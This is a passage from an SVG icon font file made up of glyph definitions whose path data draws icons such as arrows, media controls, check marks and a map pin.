5.75-2.25t 2.25-5.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf06a;" d="M 192,352q 52.25,0 96.375-25.75t 69.875-69.875t 25.75-96.375t-25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75zM 224,40.25l0,47.5 q0,3.5 -2.25,5.875t-5.5,2.375l-48,0 q-3.25,0 -5.75-2.5t-2.5-5.75l0-47.5 q0-3.25 2.5-5.75t 5.75-2.5l 48,0  q 3.25,0 5.5,2.375t 2.25,5.875zM 223.5,126.25l 4.5,155.25q0,3 -2.5,4.5q-2.5,2 -6,2l-55,0 q-3.5,0 -6-2q-2.5-1.5 -2.5-4.5l 4.25-155.25q0-2.5 2.5-4.375t 6-1.875l 46.25,0 q 3.5,0 5.875,1.875t 2.625,4.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf069;" d="M 370.5,121.5q 11.5-6.5 14.875-19.375t-3.125-24.375l-16-27.5q-6.5-11.5 -19.375-14.875t-24.375,3.125l-66.5,38.25l0-76.75 q0-13 -9.5-22.5t-22.5-9.5l-32,0 q-13,0 -22.5,9.5t-9.5,22.5l0,76.75 l-66.5-38.25q-11.5-6.5 -24.375-3.125t-19.375,14.875l-16,27.5q-6.5,11.5 -3.125,24.375t 14.875,19.375l 66.5,38.5l-66.5,38.5 q-11.5,6.5 -14.875,19.375t 3.125,24.375l 16,27.5q 6.5,11.5 19.375,14.875t 24.375-3.125l 66.5-38.25l0,76.75 q0,13 9.5,22.5t 22.5,9.5l 32,0 q 13,0 22.5-9.5t 9.5-22.5l0-76.75 l 66.5,38.25q 11.5,6.5 24.375,3.125t 19.375-14.875l 16-27.5q 6.5-11.5 3.125-24.375t-14.875-19.375l-66.5-38.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf068;" d="M 352,200l0-48 q0-10 -7-17t-17-7l-304,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 304,0 q 10,0 17-7t 7-17z" horiz-adv-x="352"  />
<glyph unicode="&#xf067;" d="M 352,200l0-48 q0-10 -7-17t-17-7l-104,0 l0-104 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,104 l-104,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 104,0 l0,104 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17l0-104 l 104,0 q 10,0 17-7t 7-17z" horiz-adv-x="352"  />
<glyph unicode="&#xf066;" d="M 192,144l0-112 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-36,36l-83-83q-2.5-2.5 -5.75-2.5t-5.75,2.5l-28.5,28.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 83,83l-36,36q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 380.75,312q0-3.25 -2.5-5.75l-83-83l 36-36q 4.75-4.75 4.75-11.25t-4.75-11.25 t-11.25-4.75l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 36-36l 83,83q 2.5,2.5 5.75,2.5t 5.75-2.5l 28.5-28.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf065;" d="M 188.75,120q0-3.25 -2.5-5.75l-83-83l 36-36q 4.75-4.75 4.75-11.25t-4.75-11.25t-11.25-4.75l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 36-36l 83,83q 2.5,2.5 5.75,2.5t 5.75-2.5l 28.5-28.5q 2.5-2.5 2.5-5.75zM 384,336l0-112 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-36,36l-83-83 q-2.5-2.5 -5.75-2.5t-5.75,2.5l-28.5,28.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 83,83l-36,36q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf064;" d="M 448,224q0-6.5 -4.75-11.25l-128-128q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,64 l-56,0 q-24.5,0 -43.875-1.5t-38.5-5.375t-33.25-10.625t-26.375-17.375t-20-25.25t-12.125-34.625t-4.375-45.25q0-13.75 1.25-30.75q0-1.5 0.625-5.875t 0.625-6.625q0-3.75 -2.125-6.25t-5.875-2.5q-4,0 -7,4.25q-1.75,2.25 -3.25,5.5 t-3.375,7.5t-2.625,6q-31.75,71.25 -31.75,112.75q0,49.75 13.25,83.25q 40.5,100.75 218.75,100.75l 56,0 l0,64 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 128-128q 4.75-4.75 4.75-11.25z"  />
<glyph unicode="&#xf063;" d="M 402.75,176q0-13.25 -9.25-22.5l-162.75-163q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-162.75,163q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 18.5,18.75q 9.75,9.25 22.75,9.25q 13.25,0 22.5-9.25l 73.5-73.5l0,176 q0,13 9.5,22.5t 22.5,9.5l 32,0 q 13,0 22.5-9.5t 9.5-22.5l0-176 l 73.5,73.5q 9.25,9.25 22.5,9.25q 13,0 22.75-9.25l 18.75-18.75q 9.25-9.75 9.25-22.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf062;" d="M 402.75,141.25q0-12.75 -9.25-22.5l-18.75-18.75q-9.5-9.5 -22.75-9.5q-13.5,0 -22.5,9.5l-73.5,73.25l0-176 q0-13 -9.375-21.125t-22.625-8.125l-32,0 q-13.25,0 -22.625,8.125t-9.375,21.125l0,176 l-73.5-73.25q-9-9.5 -22.5-9.5t-22.5,9.5l-18.75,18.75q-9.5,9.5 -9.5,22.5q0,13.25 9.5,22.75l 162.75,162.75q 8.75,9.25 22.5,9.25q 13.5,0 22.75-9.25l 162.75-162.75 q 9.25-9.75 9.25-22.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf061;" d="M 368,144q0-13.5 -9.25-22.75l-162.75-162.75q-9.75-9.25 -22.75-9.25q-12.75,0 -22.5,9.25l-18.75,18.75q-9.5,9.5 -9.5,22.75t 9.5,22.75l 73.25,73.25l-176,0 q-13,0 -21.125,9.375t-8.125,22.625l0,32 q0,13.25 8.125,22.625t 21.125,9.375l 176,0 l-73.25,73.5q-9.5,9 -9.5,22.5t 9.5,22.5l 18.75,18.75q 9.5,9.5 22.5,9.5q 13.25,0 22.75-9.5l 162.75-162.75q 9.25-8.75 9.25-22.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf060;" d="M 384,160l0-32 q0-13.25 -8.125-22.625t-21.125-9.375l-176,0 l 73.25-73.5q 9.5-9 9.5-22.5t-9.5-22.5l-18.75-19q-9.25-9.25 -22.5-9.25q-13,0 -22.75,9.25l-162.75,163q-9.25,9.25 -9.25,22.5q0,13 9.25,22.75l 162.75,162.5q 9.5,9.5 22.75,9.5q 13,0 22.5-9.5l 18.75-18.5q 9.5-9.5 9.5-22.75t-9.5-22.75l-73.25-73.25l 176,0 q 13,0 21.125-9.375 t 8.125-22.625z" horiz-adv-x="384"  />
<glyph unicode="&#xf05e;" d="M 328,160.75q0,40.25 -21.75,73.75l-188.5-188.25q 34.25-22.25 74.25-22.25q 27.75,0 52.875,10.875t 43.375,29.125t 29,43.625t 10.75,53.125zM 78.25,86l 188.75,188.5q-33.75,22.75 -75,22.75q-37,0 -68.25-18.25t-49.5-49.75t-18.25-68.5q0-40.5 22.25-74.75zM 384,160.75q0-39.25 -15.25-75t-40.875-61.5t-61.25-41t-74.625-15.25t-74.625,15.25 t-61.25,41t-40.875,61.5t-15.25,75t 15.25,74.875t 40.875,61.375t 61.25,41t 74.625,15.25t 74.625-15.25t 61.25-41t 40.875-61.375t 15.25-74.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf05d;" d="M 292.75,180.75l-105.5-105.5q-4.75-4.75 -11.25-4.75t-11.25,4.75l-73.5,73.5q-4.75,4.75 -4.75,11.25t 4.75,11.25l 25.5,25.5q 4.75,4.75 11.25,4.75t 11.25-4.75l 36.75-36.75l 68.75,68.75q 4.75,4.75 11.25,4.75t 11.25-4.75l 25.5-25.5q 4.75-4.75 4.75-11.25t-4.75-11.25zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5 t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf05c;" d="M 274.25,114.25l-36.5-36.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-34.25,34.25l-34.25-34.25q-2.5-2.5 -5.75-2.5t-5.75,2.5l-36.5,36.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 34.25,34.25l-34.25,34.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 36.5,36.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 34.25-34.25l 34.25,34.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 36.5-36.5q 2.5-2.5 2.5-5.75t-2.5-5.75 l-34.25-34.25l 34.25-34.25q 2.5-2.5 2.5-5.75t-2.5-5.75zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375 t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf05b;" d="M 299.25,128l-27.25,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 27.25,0 q-8,27 -28.125,47.125t-47.125,28.125l0-27.25 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,27.25 q-27-8 -47.125-28.125t-28.125-47.125l 27.25,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-27.25,0  q 8-27 28.125-47.125t 47.125-28.125l0,27.25 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-27.25 q 27,8 47.125,28.125t 28.125,47.125zM 384,176l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-35.75,0 q-9.25-40.25 -38.625-69.625t-69.625-38.625l0-35.75 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,35.75  q-40.25,9.25 -69.625,38.625t-38.625,69.625l-35.75,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 35.75,0 q 9.25,40.25 38.625,69.625t 69.625,38.625l0,35.75 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-35.75 q 40.25-9.25 69.625-38.625t 38.625-69.625l 35.75,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf05a;" d="M 256,40l0,40 q0,3.5 -2.25,5.75t-5.75,2.25l-24,0 l0,128 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-40 q0-3.5 2.25-5.75t 5.75-2.25l 24,0 l0-80 l-24,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-40 q0-3.5 2.25-5.75t 5.75-2.25l 112,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 224,264l0,40 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-40 q0-3.5 2.25-5.75 t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf059;" d="M 224,40l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 288,208q0,22 -13.875,40.75t-34.625,29t-42.5,10.25q-60.75,0 -92.75-53.25q-3.75-6 2-10.5l 33-25q 1.75-1.5 4.75-1.5q 4,0 6.25,3q 13.25,17 21.5,23q 8.5,6 21.5,6q 12,0 21.375-6.5t 9.375-14.75 q0-9.5 -5-15.25t-17-11.25q-15.75-7 -28.875-21.625t-13.125-31.375l0-9 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75q0,4.75 5.375,12.375t 13.625,12.375q 8,4.5 12.25,7.125t 11.5,8.75t 11.125,12t 7,15.125t 3.125,20.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf058;" d="M 321,200.5q0,7 -4.5,11.5l-22.75,22.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-102-101.75l-56.5,56.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-22.75-22.5q-4.5-4.5 -4.5-11.5q0-6.75 4.5-11.25l 90.5-90.5q 4.75-4.75 11.25-4.75q 6.75,0 11.5,4.75l 135.75,135.75q 4.5,4.5 4.5,11.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75 t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf057;" d="M 287.25,103.5q0,6.5 -4.75,11.25l-45.25,45.25l 45.25,45.25q 4.75,4.75 4.75,11.25q0,6.75 -4.75,11.5l-22.5,22.5q-4.75,4.75 -11.5,4.75q-6.5,0 -11.25-4.75l-45.25-45.25l-45.25,45.25q-4.75,4.75 -11.25,4.75q-6.75,0 -11.5-4.75l-22.5-22.5q-4.75-4.75 -4.75-11.5q0-6.5 4.75-11.25l 45.25-45.25l-45.25-45.25q-4.75-4.75 -4.75-11.25q0-6.75 4.75-11.5l 22.5-22.5q 4.75-4.75 11.5-4.75 q 6.5,0 11.25,4.75l 45.25,45.25l 45.25-45.25q 4.75-4.75 11.25-4.75q 6.75,0 11.5,4.75l 22.5,22.5q 4.75,4.75 4.75,11.5zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf056;" d="M 304,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-192,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 192,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875 t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf055;" d="M 304,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-64,0 l0,64 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-64 l-64,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 64,0 l0-64 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,64 l 64,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,160q0-52.25 -25.75-96.375 t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf054;" d="M 274.75,176q0-13 -9.25-22.75l-163-162.75q-9.25-9.25 -22.5-9.25t-22.5,9.25l-19,18.75q-9.25,9.75 -9.25,22.75q0,13.25 9.25,22.5l 121.5,121.5l-121.5,121.25q-9.25,9.75 -9.25,22.75q0,13.25 9.25,22.5l 19,18.75q 9,9.5 22.5,9.5t 22.5-9.5l 163-162.75q 9.25-9.25 9.25-22.5z" horiz-adv-x="288"  />
<glyph unicode="&#xf053;" d="M 185.5-9.25l-163,162.75q-9.25,9.25 -9.25,22.625t 9.25,22.625l 163,162.75q 9.25,9.25 22.625,9.25t 22.625-9.25l 18.75-18.75q 9.25-9.25 9.25-22.625t-9.25-22.625l-121.5-121.5l 121.5-121.25q 9.25-9.5 9.25-22.75t-9.25-22.5l-18.75-18.75q-9.25-9.25 -22.625-9.25t-22.625,9.25z" horiz-adv-x="288"  />
<glyph unicode="&#xf052;" d="M 3.5,139.25l 177.5,177.5q 4.75,4.75 11.25,4.75t 11.25-4.75l 177.5-177.5q 4.75-4.75 3.25-8t-8-3.25l-368,0 q-6.5,0 -8,3.25t 3.25,8zM 368.25,0l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-64 q0-6.5 -4.75-11.25t-11.25-4.75z" horiz-adv-x="384.5"  />
<glyph unicode="&#xf051;" d="M 11.25-28.75q-4.75-4.75 -8-3.25t-3.25,8l0,368 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,169.5 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,169.5 q-1.25-2.5 -3.25-4.75z" horiz-adv-x="256"  />
<glyph unicode="&#xf050;" d="M 11.25-28.75q-4.75-4.75 -8-3.25t-3.25,8l0,368 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,177.5 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,169.5 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,169.5 q-1.25-2.5 -3.25-4.75l-177.5-177.5 q-4.75-4.75 -8-3.25t-3.25,8l0,177.5 q-1.25-2.5 -3.25-4.75z"  />
<glyph unicode="&#xf04e;" d="M 11.25-28.75q-4.75-4.75 -8-3.25t-3.25,8l0,368 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 2-2 3.25-4.75l0,177.5 q0,6.5 3.25,8t 8-3.25l 177.5-177.5q 4.75-4.75 4.75-11.25t-4.75-11.25l-177.5-177.5q-4.75-4.75 -8-3.25t-3.25,8l0,177.5 q-1.25-2.5 -3.25-4.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf04d;" d="M 384,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf04c;" d="M 384,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 160,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf04b;" d="M 346,152.25l-332-184.5q-5.75-3.25 -9.875-0.75t-4.125,9l0,368 q0,6.5 4.125,9t 9.875-0.75l 332-184.5q 5.75-3.25 5.75-7.75t-5.75-7.75z" horiz-adv-x="352"  />
<glyph unicode="&#xf04a;" d="M 404.75,348.75q 4.75,4.75 8,3.25t 3.25-8l0-368 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2,2.25 -3.25,4.75l0-177.5 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-4.75,4.75 -4.75,11.25t 4.75,11.25l 177.5,177.5q 4.75,4.75 8,3.25t 3.25-8l0-177.5 q 1.25,2.75 3.25,4.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf049;" d="M 436.75,348.75q 4.75,4.75 8,3.25t 3.25-8l0-368 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2.25,2.25 -3.25,4.75l0-177.5 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2.25,2.25 -3.25,4.75l0-169.5 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-169.5 q 1,2.75 3.25,4.75l 177.5,177.5 q 4.75,4.75 8,3.25t 3.25-8l0-177.5 q 1,2.75 3.25,4.75z"  />
<glyph unicode="&#xf048;" d="M 244.75,348.75q 4.75,4.75 8,3.25t 3.25-8l0-368 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2.25,2.25 -3.25,4.75l0-169.5 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-169.5 q 1,2.75 3.25,4.75z" horiz-adv-x="256"  />
<glyph unicode="&#xf047;" d="M 448,160q0-6.5 -4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,32 l-96,0 l0-96 l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 32,0 l0,96 l-96,0 l0-32 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25 t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 l 96,0 l0,96 l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25t-4.75-11.25t-11.25-4.75l-32,0 l0-96 l 96,0 l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25z"  />
<glyph unicode="&#xf046;" d="M 352,151.5l0-79.5 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0 q 15.75,0 29.25-6.25q 3.75-1.75 4.5-5.75q 0.75-4.25 -2.25-7.25l-12.25-12.25q-2.5-2.5 -5.75-2.5q-0.75,0 -2.25,0.5q-5.75,1.5 -11.25,1.5l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208  q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,63.5 q0,3.25 2.25,5.5l 16,16q 2.5,2.5 5.75,2.5q 1.5,0 3-0.75q 5-2 5-7.25zM 409.75,273.75l-203.5-203.5q-6-6 -14.25-6t-14.25,6l-107.5,107.5q-6,6 -6,14.25t 6,14.25l 27.5,27.5q 6,6 14.25,6t 14.25-6l 65.75-65.75l 161.75,161.75q 6,6 14.25,6t 14.25-6l 27.5-27.5 q 6-6 6-14.25t-6-14.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf045;" d="M 352,136.75l0-64.75 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 63.75,0 l0,0 q 3.25,0 5.625-2.375t 2.375-5.625q0-6.75 -6.5-8q-19.25-6.5 -33.25-15q-2.5-1 -4-1l-28,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0  q 16.5,0 28.25,11.75t 11.75,28.25l0,53.5 q0,4.75 4.5,7.25q 7,3.25 13.5,9.25q 4,4 8.75,2q 5.25-2.25 5.25-7.25zM 411.25,260.75l-96-96q-4.5-4.75 -11.25-4.75q-3,0 -6.25,1.25q-9.75,4.25 -9.75,14.75l0,48 l-40,0 q-80.75,0 -109.5-32.75q-29.75-34.25 -18.5-118.25q 0.75-5.75 -5-8.5q-2-0.5 -3-0.5q-4,0 -6.5,3.25q-2.5,3.5 -5.25,7.75t-9.875,17.125t-12.375,24.875 t-9.625,28.5t-4.375,30.5q0,12.25 0.875,22.75t 3.5,22.5t 7,22t 11.75,20.375t 17.125,18.5t 23.625,15.375t 31.125,12.125t 39.875,7.625t 49.125,2.75l 40,0 l0,48 q0,10.5 9.75,14.75q 3.25,1.25 6.25,1.25q 6.5,0 11.25-4.75l 96-96q 4.75-4.75 4.75-11.25t-4.75-11.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf044;" d="M 222,88l 29,29l-38,38l-29-29l0-14 l 24,0 l0-24 l 14,0 zM 332,268q-4,4 -8.25-0.25l-87.5-87.5q-4.25-4.25 -0.25-8.25t 8.25,0.25l 87.5,87.5q 4.25,4.25 0.25,8.25zM 352,119.5l0-47.5 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0  q 15.75,0 29.25-6.25q 3.75-1.75 4.5-5.75q 0.75-4.25 -2.25-7.25l-12.25-12.25q-3.5-3.5 -8-2q-5.75,1.5 -11.25,1.5l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,31.5 q0,3.25 2.25,5.5l 16,16q 3.75,3.75 8.75,1.75t 5-7.25zM 328,304l 72-72l-168-168l-72,0 l0,72 zM 439,271l-23-23 l-72,72l 23,23q 7,7 17,7t 17-7l 38-38q 7-7 7-17t-7-17z"  />
<glyph unicode="&#xf043;" d="M 128,96q0,9 -5,17.25q-0.25,0.25 -3.875,5.625t-6.375,9.5t-6.25,11t-5.25,12.625q-1,4 -5.25,4t-5.25-4q-1.75-5.75 -5.25-12.625t-6.25-11t-6.375-9.5t-3.875-5.625q-5-8.25 -5-17.25q0-13.25 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 256,128q0-53 -37.5-90.5t-90.5-37.5t-90.5,37.5t-37.5,90.5 q0,36.25 20.25,68.75q 1.5,2.25 15.625,22.625t 25.25,37.75t 24.875,44.5t 20.75,50.375q 2.25,7.5 8.5,11.75t 12.75,4.25t 12.875-4.25t 8.375-11.75q 7-23.25 20.75-50.375t 24.875-44.5t 25.25-37.75t 15.625-22.625q 20.25-31.75 20.25-68.75z" horiz-adv-x="256"  />
<glyph unicode="&#xf042;" d="M 192,24l0,272 q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf041;" d="M 192,224q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25t 18.75-45.25t 45.25-18.75t 45.25,18.75t 18.75,45.25zM 256,224q0-27.25 -8.25-44.75l-91-193.5q-4-8.25 -11.875-13t-16.875-4.75t-16.875,4.75t-11.625,13l-91.25,193.5q-8.25,17.5 -8.25,44.75q0,53 37.5,90.5t 90.5,37.5t 90.5-37.5t 37.5-90.5z" horiz-adv-x="256"  />
